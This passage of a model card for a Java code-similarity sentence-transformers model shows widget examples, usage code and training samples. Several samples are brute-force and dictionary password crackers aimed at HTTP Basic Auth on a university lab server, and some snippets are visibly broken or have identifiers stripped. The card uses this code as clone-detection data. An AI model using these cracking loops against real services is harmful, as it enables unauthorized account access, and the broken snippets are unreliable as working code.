deleted;\n this.old = old;\n \n\ + \ }\n }\n\n \n\n class file_data {\n\n \n void clear() {\n \n\ + \ changed_flag = new boolean[buffered_lines + 2];\n }\n\n \n int[]\ + \ equivCount() {\n int[] equiv_count = new int[equiv_max];\n for (int\ + \ i = 0; i < buffered_lines; ++i)\n ++equiv_count[equivs[i]];\n return\ + \ equiv_count;\n }\n\n \n void discard_confusing_lines(file_data f) {\n\ + \ clear();\n \n final byte[] discarded = discardable(f.equivCount());\n\ + \n \n filterDiscards(discarded);\n\n \n discard(discarded);\n\ + \ }\n\n \n\n private byte[] discardable(final int[] counts) {\n \ + \ final int end = buffered_lines;\n final byte[] discards = new byte[end];\n\ + \ final int[] equivs = this.equivs;\n int many = 5;\n int tem =\ + \ end / 64;\n\n \n while ((tem = tem >> 2) > 0)\n many *= 2;\n\ + \n for (int i = 0; i < end; i++)\n {\n int nmatch;\n \ + \ if (equivs[i] == 0)\n continue;\n nmatch = counts[equivs[i]];\n\ + \ if (nmatch == 0)\n discards[i] = 1;\n else if (nmatch\ + \ > many)\n discards[i] = 2;\n }\n return discards;\n \ + \ }\n\n \n\n private void filterDiscards(final byte[] discards) {\n \ + \ final int end = buffered_lines;\n\n for (int i = 0; i < end; i++)\n\ + \ {\n \n if (discards[i] == 2)\n discards[i]\ + \ = 0;\n else if (discards[i] != 0)\n {\n \ + \ \n int j;\n int length;\n int\ + \ provisional = 0;\n\n \n for (j = i; j < end; j++)\n\ + \ {\n if (discards[j] == 0)\n \ + \ break;\n if (discards[j] == 2)\n \ + \ ++provisional;\n }\n\n \n \ + \ while (j > i && discards[j - 1] == 2) {\n discards[--j]\ + \ = 0; --provisional;\n }\n\n \n \ + \ length = j - i;\n\n \n if (provisional * 4 > length)\n\ + \ {\n while (j > i)\n \ + \ if (discards[--j] == 2)\n discards[j] = 0;\n \ + \ }\n else\n {\n \ + \ int consec;\n int minimum = 1;\n int tem\ + \ = length / 4;\n\n \n while ((tem = tem\ + \ >> 2) > 0)\n minimum *= 2;\n minimum++;\n\ + \n \n for (j = 0, consec = 0; j < length;\ + \ j++)\n if (discards[i + j] != 2)\n \ + \ consec = 0;\n else if (minimum == ++consec)\n \ + \ \n j -= consec;\n \ + \ else if (minimum < consec)\n discards[i + j] = 0;\n\ + \n \n for (j = 0, consec = 0; j < length;\ + \ j++)\n {\n if (j >= 8 && discards[i\ + \ + j] == 1)\n break;\n if (discards[i\ + \ + j] == 2) {\n consec = 0; discards[i + j] = 0;\n \ + \ }\n else if (discards[i + j] ==\ + \ 0)\n consec = 0;\n else\n \ + \ consec++;\n if (consec == 3)\n\ + \ break;\n }\n\n \ + \ \n i += length - 1;\n\n \n \ + \ for (j = 0, consec = 0; j < length; j++)\n \ + \ {\n if (j >= 8 && discards[i - j] == 1)\n \ + \ break;\n if (discards[i - j] == 2) {\n\ + \ consec = 0; discards[i - j] = 0;\n \ + \ }\n else if (discards[i - j] == 0)\n \ + \ consec = 0;\n else\n \ + \ consec++;\n if (consec == 3)\n \ + \ break;\n }\n }\n \ + \ }\n }\n }\n\n \n private void discard(final byte[] discards)\ + \ {\n final int end = buffered_lines;\n int j = 0;\n for (int i\ + \ = 0; i < end; ++i)\n if (no_discards || discards[i] == 0)\n \ + \ {\n undiscarded[j] = equivs[i];\n realindexes[j++] = i;\n\ + \ }\n else\n changed_flag[1+i] = true;\n nondiscarded_lines\ + \ = j;\n }\n\n file_data(Object[] data,Hashtable h) {\n buffered_lines\ + \ = data.length;\n\n equivs = new int[buffered_lines]; \n undiscarded\ + \ = new int[buffered_lines];\n realindexes = new int[buffered_lines];\n\n\ + \ for (int i = 0; i < data.length; ++i) {\n Integer ir = (Integer)h.get(data[i]);\n\ + \ if (ir == null)\n h.put(data[i],new Integer(equivs[i] = equiv_max++));\n\ + \ else\n equivs[i] = ir.intValue();\n }\n }\n\n \n\n\ + \ void shift_boundaries(file_data f) {\n final boolean[] changed = changed_flag;\n\ + \ final boolean[] other_changed = f.changed_flag;\n int i = 0;\n \ + \ int j = 0;\n int i_end = buffered_lines;\n int preceding = -1;\n\ + \ int other_preceding = -1;\n\n for (;;)\n {\n int start,\ + \ end, other_start;\n\n \n\n while (i < i_end && !changed[1+i])\n\ + \ {\n while (other_changed[1+j++])\n \n\ + \ other_preceding = j;\n i++;\n }\n\n \ + \ if (i == i_end)\n break;\n\n start = i;\n \ + \ other_start = j;\n\n for (;;)\n {\n \n\n\ + \ while (i < i_end && changed[1+i]) i++;\n end = i;\n\ + \n \n\n \n\n if (end != i_end\n \ + \ && equivs[start] == equivs[end]\n && !other_changed[1+j]\n\ + \ && end != i_end\n && !((preceding >= 0 &&\ + \ start == preceding)\n || (other_preceding >= 0\n \ + \ && other_start == other_preceding)))\n {\n\ + \ changed[1+end++] = true;\n changed[1+start++]\ + \ = false;\n ++i;\n \n ++j;\n\ + \ }\n else\n break;\n }\n\ + \n preceding = i;\n other_preceding = j;\n }\n }\n\ + \n \n final int buffered_lines;\n\n \n private final int[] equivs;\n\ + \n \n final int[] undiscarded;\n\n \n final int[] realindexes;\n\ + \n \n int nondiscarded_lines;\n\n \n boolean[] changed_flag;\n\ + \n }\n}\n" + - "package java.httputils;\n\nimport java.io.BufferedOutputStream;\nimport java.io.FileNotFoundException;\n\ + import java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\ + import java.net.MalformedURLException;\nimport java.sql.Timestamp;\nimport java.util.Observable;\n\ + \npublic class BruteForce extends Observable\n{\n \n protected Timestamp\ + \ start;\n protected Timestamp end;\n protected String URL = \"http://localhost:8080/secret/index.html\"\ + ;\n protected String userName = \"\";\n protected String content = \"\"\ + ;\n protected int attempts = 0;\n protected String password;\n protected\ + \ String fileName;\n\n public static final char[] letters =\n {\n \ + \ 'a',\n 'b',\n 'c',\n 'd',\n \ + \ 'e',\n 'f',\n 'g',\n 'h',\n \ + \ 'i',\n 'j',\n 'k',\n 'l',\n 'm',\n\ + \ 'n',\n 'o',\n 'p',\n 'q',\n \ + \ 'r',\n 's',\n 't',\n 'u',\n \ + \ 'v',\n 'w',\n 'x',\n 'y',\n 'z',\n\ + \ 'A',\n 'B',\n 'C',\n 'D',\n \ + \ 'E',\n 'F',\n 'G',\n 'H',\n \ + \ 'I',\n 'J',\n 'K',\n 'L',\n 'M',\n\ + \ 'N',\n 'O',\n 'P',\n 'Q',\n \ + \ 'R',\n 'S',\n 'T',\n 'U',\n \ + \ 'V',\n 'W',\n 'X',\n 'Y',\n 'Z',\n\ + \ ' '};\n \n public BruteForce()\n {\n }\n\n \n public\ + \ void process()\n {\n StringBuffer password = new StringBuffer(\"aaa\"\ + );\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n\ + \ for (int i = 0;\n i < letters.length - 1;\n password.setCharAt(0,\ + \ letters[i]), i++)\n {\n for (int i2 = 0;\n \ + \ i2 < letters.length;\n password.setCharAt(1, letters[i2]), i2++)\n\ + \ {\n for (int i3 = 0;\n i3 < letters.length;\n\ + \ password.setCharAt(2, letters[i3]), i3++)\n \ + \ {\n try\n {\n \ + \ attempts++;\n\n BasicAuthHttpRequest req =\n \ + \ new BasicAuthHttpRequest(\n \ + \ getURL(),\n getUserName(),\n \ + \ password.toString().trim());\n setPassword(password.toString());\n\ + \ setEnd(new Timestamp(System.currentTimeMillis()));\n\ + \ setContent(req.getContent().toString());\n\n \ + \ \n if (getFileName() != null && getFileName().length()\ + \ > 0)\n {\n createReport();\n\ + \ }\n return;\n \ + \ }\n catch (MalformedURLException e)\n \ + \ {\n e.printStackTrace();\n \ + \ return;\n }\n catch (IOException e)\n\ + \ {\n\n }\n }\n \ + \ }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\ + \n\n }\n\n \n public void createReport()\n {\n OutputStream\ + \ os = null;\n try\n {\n os = new BufferedOutputStream(\n\ + \ new FileOutputStream(getFileName(), false));\n \ + \ os.write(printResult().getBytes());\n }\n catch (FileNotFoundException\ + \ e)\n {\n e.printStackTrace();\n }\n catch (IOException\ + \ e)\n {\n e.printStackTrace();\n }\n finally\n\ + \ {\n if (os != null)\n {\n try\n\ + \ {\n os.close();\n }\n \ + \ catch (IOException e)\n {\n }\n \ + \ }\n }\n }\n\n \n public String printResult()\n {\n\ + \ StringBuffer s = new StringBuffer();\n\n s.append(\"** \" + this.getClass().getName()\ + \ + \" Results **\\n\\n\");\n s.append(\"Password: \" + getPassword() +\ + \ \"\\n\\n\");\n\n s.append(\"Attempts : \" + attempts + \"\\n\\n\");\n\ + \n s.append(\n \"Time (seconds): \"\n + (getEnd().getTime()\ + \ - getStart().getTime()) / 1000\n + \"\\n\\n\");\n s.append(\"\ + Content: \\n\" + getContent() + \"\\n\\n\");\n\n return s.toString();\n\ + \ }\n\n public String printUsage()\n {\n StringBuffer s = new\ + \ StringBuffer();\n\n s.append(\"** BruteForce proper usage **\\n\\n\"\ + );\n s.append(\n \"java ..httputils.BruteForce \ + \ \\n\\n\");\n\n return s.toString();\n }\n\n\ + \ public static void main(String[] args)\n {\n BruteForce bruteForce\ + \ = new BruteForce();\n\n if (args.length < 2)\n {\n \ + \ System.out.println(bruteForce.printUsage());\n }\n else\n \ + \ {\n bruteForce.setURL(args[0]);\n bruteForce.setUserName(args[1]);\n\ + \ if (args.length > 2)\n {\n bruteForce.setFileName(args[2]);\n\ + \ }\n bruteForce.process();\n System.out.println(bruteForce.printResult());\n\ + \ }\n }\n\n \n\n \n public Timestamp getEnd()\n {\n \ + \ return end;\n }\n\n \n public Timestamp getStart()\n {\n \ + \ return ;\n }\n\n \n public void setEnd(Timestamp timestamp)\n \ + \ {\n end = timestamp;\n }\n\n \n public void setStart(Timestamp\ + \ timestamp)\n {\n time = timestamp;\n }\n\n \n public String\ + \ getURL()\n {\n return URL;\n }\n\n \n public void setURL(String\ + \ string)\n {\n URL = string;\n }\n\n \n public String getUserName()\n\ + \ {\n return userName;\n }\n\n \n public void setUserName(String\ + \ string)\n {\n userName = string;\n }\n\n \n public String\ + \ getContent()\n {\n return content;\n }\n\n \n public void\ + \ setContent(String string)\n {\n content = string;\n }\n\n \n\ + \ public String getPassword()\n {\n return password;\n }\n\n \ + \ \n public void setPassword(String string)\n {\n password = string;\n\ + \ }\n\n \n public String getFileName()\n {\n return fileName;\n\ + \ }\n\n \n public void setFileName(String string)\n {\n fileName\ + \ = string;\n }\n\n}\n" + - "\n\n\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class\ + \ Dictionary\n{\n\n static BufferedReader in = null;\n static MyAuthenticator\ + \ Auth = new MyAuthenticator();\n\n \n public static void main(String[] args)\ + \ throws IOException\n {\n int tmp = 0;\n String str =\"\";\n \ + \ Authenticator.setDefault(Auth);\n \n try\n {\n URL url =\ + \ new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n \n \ + \ \n while(tmp!=1)\n {\n try\n {\n\ + \ in = new BufferedReader(new InputStreamReader(url.openStream()));\n\ + \ tmp=1;\n }\n catch (IOException e) {}\n\ + \ \n } \n\n while ((str = in.readLine()) !=\ + \ null) \n {\n \n \n \n }\n \ + \ \n\n System.out.println(\"The successful Password found using\ + \ a Dictionary search is = \" + Auth.finalPass());\n\n } \n catch (MalformedURLException\ + \ e) \n {System.out.println(\"mfURL\");}\n } \n\n\n}\n\nclass MyAuthenticator\ + \ extends Authenticator \n{\n String username = \"\";\n static String password\ + \ = \"\";\n \n static String DictFile = \"/usr/share/lib/dict/words\";\n \ + \ static BufferedReader fReader;\n\n public MyAuthenticator()\n {\n \ + \ try\n {\n fReader = new BufferedReader\n \ + \ (new FileReader(DictFile));\n }\n catch (FileNotFoundException\ + \ e)\n {\n System.out.println(\"File \" +DictFile+ \" Not Found\"\ + );\n System.out.println(\" File Opened\");\n System.exit(1);\n\ + \ }\n catch (IOException e)\n {\n System.out.println(\"\ + File Failed..\");\n System.exit(1);\n }\n\n }\n\n static void\ + \ setPass(String pswd)\n {\n password = pswd;\n }\n\n static String\ + \ finalPass()\n {\n return password;\n }\n\n static String getPass()\n\ + \ {\n try\n {\n if ((password = fReader.readLine()) == null)\n\ + \ {\n System.out.println(\"Password Not found in file '\" +\ + \ DictFile +\"'.\");\n System.exit(1);\n }\n }\n \ + \ catch (IOException ioe)\n {\n System.out.println(\"File IOException\"\ + );\n System.out.println(ioe);\n }\n\n return password;\n }\n\ + \n\n\n protected PasswordAuthentication getPasswordAuthentication() \n { \n\ + \ \n return new PasswordAuthentication(username, getPass().toCharArray());\ + \ \n\n } \n}\n" +- source_sentence: "\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate\ + \ int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\ + \t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\ + \t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n" + sentences: + - "import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n public\ + \ static void main(String[] args) {\n BruteForce brute=new BruteForce();\n\ + \ brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new\ + \ char[3];\nString password;\nString username=\"\";\nString auth_data;\nString\ + \ server_res_code;\nString required_server_res_code=\"200\";\nint cntr=0;\n\n\ + try {\n\nURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\nURLConnection\ + \ conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91)\ + \ { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++)\ + \ {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\ + \n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6;\ + \ }\n passwd[2]=(char) k;\n password=new String(passwd);\n\ + \ password=password.trim();\n auth_data=null;\n\ + \ auth_data=username + \":\" + password;\n auth_data=auth_data.trim();\n\ + \ auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n\ + \ conn=url.openConnection();\n conn.setDoInput (true);\n\ + \ conn.setDoOutput(true);\n conn.setRequestProperty(\"\ + GET\", \"/SEC/2/ HTTP/1.1\");\n conn.setRequestProperty (\"Authorization\"\ + , auth_data);\n server_res_code=conn.getHeaderField(0);\n \ + \ server_res_code=server_res_code.substring(9,12);\n \ + \ server_res_code.trim();\n cntr++;\n System.out.println(cntr\ + \ + \" . \" + \"PASSWORD SEND : \" + password + \" SERVER RESPONSE : \" + server_res_code);\n\ + \ if( server_res_code.compareTo(required_server_res_code)==0 )\n\ + \ {System.out.println(\"PASSWORD IS : \" + password + \" SERVER\ + \ RESPONSE : \" + server_res_code );\n i=j=k=123;}\n \ + \ }\n\n \ + \ }\n\n }\n }\n catch (Exception\ + \ e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData\ + \ (String getauthdata) {\n\nchar base64Array [] = {\n 'A', 'B', 'C', 'D',\ + \ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ + \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ + \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r',\ + \ 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4',\ + \ '5', '6', '7', '8', '9', '+', '/' } ;\n\n String encodedString = \"\";\n\ + \ byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n\ + \ while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n\ + \ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ + \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ + \ if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n\ + \ }\n else\n b3 = bytes [i++];\n }\n \ + \ byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2\ + \ >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte\ + \ c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString\ + \ += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString\ + \ += base64Array [c3];\n encodedString += base64Array [c4];\n \ + \ break;\n case 1:\n encodedString += base64Array [c3];\n \ + \ encodedString += \"=\";\n break;\n case 2:\n encodedString\ + \ += \"==\";\n break;\n }\n }\n return \" \" + encodedString;\n\ + \ }\n}" + - "package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ + import java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce\ + \ implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected\ + \ boolean stop = false;\n \n public RunnableBruteForce()\n {\n \ + \ super();\n }\n\n \n public void run()\n {\n process();\n\ + \ }\n\n public static void main(String[] args)\n {\n }\n \n \ + \ public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n \ + \ public int getRangeStart()\n {\n return rangeStart;\n }\n\n \ + \ \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\ + \n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n\ + \ }\n\n \n public boolean isStop()\n {\n return stop;\n \ + \ }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n \ + \ }\n\n public void process()\n {\n String password = \"\";\n \ + \ \n System.out.println(Thread.currentThread().getName() +\n \ + \ \"-> workload: \" +\n this.letters[getRangeStart()]\ + \ + \" \" +\n this.letters[getRangeEnd() - 1]);\n\ + \ setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int\ + \ i = getRangeStart();\n i < getRangeEnd();\n i++)\n \ + \ {\n System.out.println(Thread.currentThread().getName() +\n \ + \ \"-> Trying words beginning with: \" +\n \ + \ letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n\ + \ i2++)\n {\n for (int i3 = 0;\n \ + \ i3 < letters.length;\n i3++)\n \ + \ {\n if (isStop())\n {\n \ + \ return;\n }\n try\n \ + \ {\n char [] arr = new char [] {letters[i],\ + \ letters[i2], letters[i3]};\n String pwd = new String(arr);\n\ + \ \n if (Thread.currentThread().getName().equals(\"\ + Thread-1\") && pwd.equals(\"bad\"))\n {\n \ + \ System.out.println(Thread.currentThread().getName() +\n \ + \ \"-> Trying password: \" +\n \ + \ pwd);\n }\n attempts++;\n\ + \n BasicAuthHttpRequest req =\n \ + \ new BasicAuthHttpRequest(\n getURL(),\n \ + \ getUserName(),\n \ + \ pwd);\n System.out.println(\"Got the password\");\n\ + \ setPassword(pwd);\n setEnd(new\ + \ Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\ + \n \n this.setChanged();\n \ + \ this.notifyObservers(this.getContent());\n \ + \ return;\n }\n catch (MalformedURLException\ + \ e)\n {\n e.printStackTrace();\n \ + \ return;\n }\n catch\ + \ (IOException e)\n {\n\n }\n \ + \ }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\ + \ }\n\n}\n" + - "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n\ + \ private String pageContents= \"\";\n \n\n\t\n public WebPage()\n \ + \ {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n\ + \ success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n\ + \ {\n return success;\n }\n \n\t\n public void setPageContents\ + \ (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n \ + \ public String getPageContents()\n {\n return pageContents;\n }\n\ + } \n" +pipeline_tag: sentence-similarity +library_name: sentence-transformers +--- + +# SentenceTransformer based on microsoft/unixcoder-base-unimodal + +This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. + +## Model Details + +### Model Description +- **Model Type:** Sentence Transformer +- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) +- **Maximum Sequence Length:** 512 tokens +- **Output Dimensionality:** 768 dimensions +- **Similarity Function:** Cosine Similarity + + + + +### Model Sources + +- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) +- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) +- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) + +### Full Model Architecture + +``` +SentenceTransformer( + (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel + (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) +) +``` + +## Usage + +### Direct Usage (Sentence Transformers) + +First install the Sentence Transformers library: + +```bash +pip install -U sentence-transformers +``` + +Then you can load this model and run inference. +```python +from sentence_transformers import SentenceTransformer + +# Download from the 🤗 Hub +model = SentenceTransformer("buelfhood/SOCO-Java-UniXcoder-ST") +# Run inference +sentences = [ + '\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n', + 'import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n public static void main(String[] args) {\n BruteForce brute=new BruteForce();\n brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new char[3];\nString password;\nString username="";\nString auth_data;\nString server_res_code;\nString required_server_res_code="200";\nint cntr=0;\n\ntry {\n\nURL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\nURLConnection conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91) { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++) {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6; }\n passwd[2]=(char) k;\n password=new String(passwd);\n password=password.trim();\n auth_data=null;\n auth_data=username + ":" + password;\n auth_data=auth_data.trim();\n auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n conn=url.openConnection();\n conn.setDoInput (true);\n conn.setDoOutput(true);\n conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");\n conn.setRequestProperty ("Authorization", auth_data);\n server_res_code=conn.getHeaderField(0);\n server_res_code=server_res_code.substring(9,12);\n server_res_code.trim();\n cntr++;\n System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);\n if( server_res_code.compareTo(required_server_res_code)==0 )\n {System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );\n i=j=k=123;}\n }\n\n }\n\n }\n }\n catch (Exception e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData (String getauthdata) {\n\nchar base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' } ;\n\n String encodedString = "";\n byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return " " + encodedString;\n }\n}', + 'package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected boolean stop = false;\n \n public RunnableBruteForce()\n {\n super();\n }\n\n \n public void run()\n {\n process();\n }\n\n public static void main(String[] args)\n {\n }\n \n public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n public int getRangeStart()\n {\n return rangeStart;\n }\n\n \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n }\n\n \n public boolean isStop()\n {\n return stop;\n }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n }\n\n public void process()\n {\n String password = "";\n \n System.out.println(Thread.currentThread().getName() +\n "-> workload: " +\n this.letters[getRangeStart()] + " " +\n this.letters[getRangeEnd() - 1]);\n setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int i = getRangeStart();\n i < getRangeEnd();\n i++)\n {\n System.out.println(Thread.currentThread().getName() +\n "-> Trying words beginning with: " +\n letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n i2++)\n {\n for (int i3 = 0;\n i3 < letters.length;\n i3++)\n {\n if (isStop())\n {\n return;\n }\n try\n {\n char [] arr = new char [] {letters[i], letters[i2], letters[i3]};\n String pwd = new String(arr);\n \n if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))\n {\n System.out.println(Thread.currentThread().getName() +\n "-> Trying password: " +\n pwd);\n }\n attempts++;\n\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n pwd);\n System.out.println("Got the password");\n setPassword(pwd);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n this.setChanged();\n this.notifyObservers(this.getContent());\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n }\n\n}\n', +] +embeddings = model.encode(sentences) +print(embeddings.shape) +# [3, 768] + +# Get the similarity scores for the embeddings +similarities = model.similarity(embeddings, embeddings) +print(similarities.shape) +# [3, 3] +``` + + + + + + + + + + + +## Training Details + +### Training Dataset + +#### Unnamed Dataset + +* Size: 33,411 training samples +* Columns: sentence_0, sentence_1, and label +* Approximate statistics based on the first 1000 samples: + | | sentence_0 | sentence_1 | label | + |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------| + | type | string | string | int | + | details |
  • min: 51 tokens
  • mean: 449.02 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 464.04 tokens
  • max: 512 tokens
|
  • 0: ~99.80%
  • 1: ~0.20%
| +* Samples: + | sentence_0 | sentence_1 | label | + |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| + |




import java.io.*;
import java.net.*;



public class BruteForce
{
public static void main(String args[]) throws IOException,
MalformedURLException
{
final String username = "";
final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";

String temppass;
String password = "";
URL url = new URL(fullurl);
boolean cracked = false;

String c[] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O",
"P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d",
"e","f","g","h","i","j","k","l","m","n","o","p","q","r","s",
"t","u","v","w","x","y","z"};

startTime = System.currentTimeMillis();



for(int i = 0; i < 52 && !cracked; i++) {
temppass = c[i];
Authenticator.setDefault(new MyAuthenticator(username, temppass));
try{


BufferedReader r = ...
|

import java.net.*;
import java.io.*;

public class SendEMail {

public void SendEMail(){}

public void sendMail(String recipient,String c, String subject){
try {

Socket s = new Socket("yallara.cs.rmit.edu.", 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));

send(in, out, "HELO theWorld");


